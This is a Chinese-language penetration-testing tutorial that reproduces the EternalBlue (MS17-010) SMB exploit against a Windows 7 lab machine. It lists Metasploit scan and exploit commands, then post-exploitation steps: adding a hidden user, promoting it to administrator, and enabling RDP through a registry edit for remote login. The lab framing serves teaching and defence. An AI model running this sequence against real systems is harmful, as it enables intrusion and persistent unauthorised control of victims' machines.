【渗透测试:MS17_010(永恒之蓝)漏洞复现与分析】
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该程序出来不久就被微软通过打补丁修复。
目录
一、 漏洞简介
1、永恒之蓝定义
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该程序出来不久就被微软通过打补丁修复。
2、漏洞原理
永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。
3、影响版本
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
4、相关协议与端口
SMB协议:
SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上;SMB使用了NetBIOS的应用程序接口 (Application Program Interface,简称API),一般端口使用为139,445。
二、复现环境
攻击机:kali Linux (ip:192.168.1.14) -------桥接
靶机:Windows 7 x64 (ip:192.168.1.15) -------桥接
前提:两台机器必须要可以相互ping通
三、前提工作
靶机的环境配置:
1、网络连接要选择公用网络
2、关闭公共网络防火墙(若不关闭将无法ping通)
ping一下
发现可以ping通,接下来可以开始复现漏洞
四、复现过程
1、主机扫描
nmap:192.168.1.15
可以看到靶机的445端口和139端口是开放的
2、使用MSF的永恒之蓝漏洞模块
启动msfconsole
搜索永恒之蓝在msf中的编号,命令:search ms17_010
如图,一个是永恒之蓝的扫描模块,一个是永恒之蓝的攻击模块。可以先用前者扫描一下,若发现有漏洞就可以用后者来攻击。
3、用永恒之蓝的扫描模块对靶机进行扫描
使用模块:use auxiliary/scanner/smb/smb_ms17_010
设置目标IP:set rhosts 192.168.1.15
执行:run
如图,发现漏洞
4、用攻击模块对靶机进行攻击
使用模块:use exploit/windows/smb/ms17_010_eternalblue
设置目标IP:set rhosts 192.168.1.15
可以查看设置选项: show option
执行:run或者exploit
攻击完成!
5、获取靶机shell
按回车后,就进入了cmd模式了,尝试着查看一下基本信息,输入ipconfig,发现得到的是一串乱码
这时候通过输入:chcp 65001 这个可以解决乱码问题
可以看到,正常了。
6、通过shell对靶机进行控制
1、创建一个用户
命令为:net user 用户名 密码 /add
使用net user命令可以看到刚刚添加的用户
2、将用户提权,放到管理员组
3、开启远程桌面控制
3389端口是Windows Server系统远程桌面的服务端口,3389是Windows操作系统默认的远程连接端口
查看3389端口状态,输入命令:netstat -ano
可以发现,3389端口并未开启,那就打开它!
开启3389端口命令:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭3389端口的命令:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
打开后,在输入一次查看命令,可以看到3389已开启:
4、远程桌面连接控制靶机
rdesktop 192.168.1.15
这里需要注意的是, 该命令是在kali环境内的命令,所以不能在之前Windows的终端那里输入命令,否则会报错,无法进行远程连接。输入命令后,有提示的地方就完整输入yes即刻。
完成后,就会弹出登录窗口
选择其他用户,输入刚刚创建的用户名和密码即可登录
登录成功!
至此,漏洞复现完成!
更多推荐
所有评论(0)